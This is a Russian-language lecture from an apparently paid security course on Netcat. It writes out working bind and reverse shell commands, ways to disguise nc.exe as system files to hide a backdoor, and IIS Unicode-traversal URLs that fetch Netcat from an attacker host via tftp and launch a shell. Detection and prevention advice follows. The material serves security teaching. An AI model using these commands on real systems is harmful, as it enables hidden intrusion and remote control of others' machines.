Опубликован: 20.02.2007 | Уровень: специалист | Доступ: платный
Лекция 1:

NETCAT и CRYPTCAT

101 способ использовать Netcat

Люди нашли сотни способов использования Netcat в решении ежедневных задач. Многие из этих задач похожи, отличаясь лишь незначительными деталями. Мы постарались привести некоторые из них, наиболее общие и охватывающие большее число возможностей применения программы. Здесь приведены наиболее важные с нашей точки зрения способы применения Netcat.

Получение удаленного доступа к командной оболочке

Хотели бы вы получить доступ к командной строке MS-DOS домашнего компьютера из любой точки земного шара? Запустив команду nc.exe -l -p 4455 -e cmd.exe из командной строки MS-DOS на NT или Windows 2000, любой присоединившийся с помощью telnet к порту 4455 на этом компьютере получит в свое распоряжение DOS-оболочку, без необходимости вводить идентификатор и пароль.

[root@originix /root]# telnet 192.168.1.101 4455
Trying 192.168.1.101 :
Connected to 192.168.1.101
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(c) Copyright 1985-2000 Microsoft Corp.
C:\>
Connection closed by foreign host.
[root@originix /root]#

Неплохо сделано! Это к тому же выглядит страшновато. Приложив незначительные усилия, вы получили доступ к командной строке системы. Конечно, в Windows 2000 или NT у вас будут такие же привилегии, как у пользователя, запустившего Netcat. Но такой способ проникновения в Windows 95 и 98 (используя command.com вместо cmd.exe ) позволит вам управлять всей машиной без ограничений. Этот пример демонстрирует, насколько может быть опасен Netcat в чужих руках.

Примечание. Netcat демонстрирует чрезвычайно неустойчивую работу под управлением Windows 95 и 98, особенно после многократного запуска.

Попробуем что-нибудь сделать с помощью этой команды. Имейте в виду, что Netcat по умолчанию выполняется внутри того окна DOS, в котором запускается. Это означает, что окно управления командной строкой должно оставаться открытым все время, пока работает Netcat. Использование опции -d для отсоединения от командной строки должно позволить выполняться программе даже после того, как окно поддержки командной строки будет закрыто.

C:\> nc.exe -l -p 4455 -d -e cmd.exe

Это делает работу по маскировке "черного хода", созданного с использованием Netcat, более качественной. Однако если кто-нибудь соединится с портом 4455 с помощью telnet, то, как только клиент разорвет соединение, Netcat выполнит команду и прекратит "прослушивание". Используйте опцию -L вместо -l, чтобы сохранить режим прослушивания после того, как первое соединение будет завершено.

C:\> nc.exe -p 4455 -d -L -e cmd.exe

Это позволяет взломщику возвращаться в систему до тех пор, пока системный администратор не обнаружит работающую программу ( nc.exe ) в списке выполняющихся задач. Взломщик, правда, может подумать и об этом и переименовать nc.exe как-нибудь так:

C:\>move nc.exe c:\Windows\System32\Drivers\update.exe
C:\>Windows\System32\Drivers\update.exe -p 4455 -d -L -e cmd.exe

Системный администратор может не обратить внимания на файл update.exe - это может быть все, что угодно. Взломщик также может скрыть командную строку. Еще одной возможностью Netcat является то, что если вы запускаете его без опций в командной строке, то программа ожидает получения командной строки в первой строчке стандартного ввода.

C:\>Windows\System32\Drivers\update.exe 
Cmd line: -p 4455 -d -L -e cmd.exe
C:\>

Теперь, если системный администратор выполнит команду netstat -a -n в командной строке, то сможет заметить, что нечто выполняется на ранее незанятом порту, присоединиться к порту с использованием telnet и раскрыть фокус. Однако Windows использует множество случайных портов по разному поводу, и вывод программы netstat потребует много времени для анализа, особенно в интенсивно используемой системе.

Взломщик может пытаться использовать различные возможности. Если он, к примеру, проник через сервер Citrix, получил доступ к большому числу пользователей, которые бродили по интернету, то сможет увидеть большое количество запросов к системе DNS (Domain Name System) и интернет-соединений. Выполненная команда netstat -a -n показала бы много исходящих TCP-соединений по 80 порту. Вместо того чтобы запускать экземпляр Netcat на прослушивание на Windows машине и ожидать соединения, Netcat может перенаправлять входной и выходной потоки программы cmd.exe другому экземпляру Netcat, выполняющемуся на другой машине и прослушивающему 80 порт. В этом случае взломщик захочет выполнить следующее:

[root@originix/root]# nc -l -p 80

На Windows-машине взломщик естественно пожелает скрыть присутствие Netcat следующим образом:

C:\>mkdir c:\Windows\System32\Drivers\q
C:\>move nc.exe c:\Windows\System32\Drivers\q\iexplore.exe
C:\>cd c:\Windows\System32\Drivers\q
c:\Windows\System32\Drivers\q>iexplore.exe
Cmd line -d -e cmd.exe originix 80
c:\Windows\System32\Drivers\q>

Теперь Netcat в режиме "прослушивания" должен контролировать командный интерпретатор на Windows машине. Такой подход поможет лучше выполнить работу по маскировке "черного хода" от системного администратора. На первый взгляд соединение будет выглядеть всего лишь, как безобидное HTTP-соединение интернет-броузера. Взломщика может расстраивать только то, что после завершения работы командного интерпретатора у него нет никаких способов перезапустить процесс на Windows машине.

Есть несколько способов, с помощью которых системный администратор может обнаружить проникновение с использованием Netcat.

  • Использовать утилиту поиска файлов Windows для поиска файлов, содержащих строки " listen mode ", или " inbound connection ". Любой из найденных исполняемых модулей может оказаться программой Netcat.
  • Проверять список активных процессов на предмет поиска любых непонятно зачем выполняемых файлов cmd.exe. За исключением случаев, когда взломщик переименовал cmd.exe, вы сможете поймать его на использовании удаленного выполнения команд, поскольку cmd.exe будет выполняться так, что вы не сможете получить к нему доступ.
  • Использовать команду netstat ( ""Системные средства с открытым программным кодом: основы"" ) или fprot (лекции ""Компоновка и использование набора инструментов для расследования хакерских атак, то есть для "живого ответа" в системе Windows"" ), чтобы увидеть, какие порты используются в настоящее время и какие приложения их используют. Тем не менее, будьте осторожны с использованием netstat. Netstat может быть легко заменен его "троянской" версией, специально созданной взломщиком для скрытия своей деятельности. Netstat также иногда не сообщает о прослушивании TCP-сокетов до тех пор, пока кто-нибудь не соединится с ним.

Сейчас вы познакомились с двумя способами получения удаленного доступа к программному интерпретатору Windows-машины. Очевидно, на успех операции могут повлиять брандмауэры, фильтрация портов, прокси-серверы, которые фактически осуществляют фильтрацию заголовков HTTP-пакетов.

К использованию этих двух способов подталкивала уязвимость двух компонент популярного web-сервера Internet Information Server (IIS) 4.0 - Microsoft Data Access Components (MDAC) и кодировки Unicode. Способов много, но во всех случаях используются те прорехи в безопасности, которые позволяют выполнять команды на машине под видом пользователя IIS, обращаясь к нему со специально созданными URL. Этот метод могут использовать программы типа TFTP (Trivial File Transfer Protocol), если таковые установлены на машине, загружая модуль nc.exe с удаленной машины и выполняя одну из команд для организации черного хода. Ниже приведен пример такой URL-строки, которая позволяет использовать TFTP для скачивания Netcat с удаленной машины, "благодаря" уязвимости Unicode-кодировки.

http://10.10.0.1/scripts/%c1%pc/../winnt/system32/cmd.exe?/
c+tftp%20-i%20originix%20GET%20nc.exe%20update.exe

Если повезет, эта команда позволит скачать Netcat на хост с адресом 10.10.0.1 в директорию Inetpub\Scripts под именем update.exe. Затем взломщик сможет запустить Netcat, используя другую строку URL.

http://10.10.0.1/scripts/%c1%pc/../inetpup/scripts/
update.exe?-l%20-d%20-L%20-p%20443%20-e%20cmd.exe
Примечание. В приведенных выше строках URL web-сервер воспринимает комбинацию символов %20 как пробел.

Соединение с портом 443 по протоколу Telnet позволяет исполнять команды на удаленной машине. Это весьма простой и эффективный способ атаки удаленной машины, и к тому же он может быть автоматизирован. Однако этот вид атаки оставляет следы. Во-первых, все URL-запросы, которые были использованы, сохраняются в системном журнале IIS. Просматривая журнал на предмет наличия в нем строк, содержащих комбинацию символов tftp, вы можете обнаружить момент, когда кто-то пытался провести такую атаку. К тому же, большинство текущих версий IDS могут просматривать содержимое строк URL, форматированных аналогичным образом (к примеру, на предмет включения в них строк cmd.exe или спецсимволов Unicode).

Вы можете предупредить такие атаки.

  • Убедитесь, что ваш IIS выполняется с использованием обновленной версии системы безопасности.
  • Заблокируйте соединения, исходящие с вашего сервера, настройками брандмауэра. В большинстве случаев ваш web-сервер не нуждается в установке соединений с внешним миром. Даже если ваша версия IIS уязвима, действие TFTP бесполезно из-за невозможности ответного соединения.
Сергей Хлюкин
Сергей Хлюкин
Россия, Москва, Московский Государственный Открытый Университет, 2007
Игорь Касаткин
Игорь Касаткин
Россия, Москва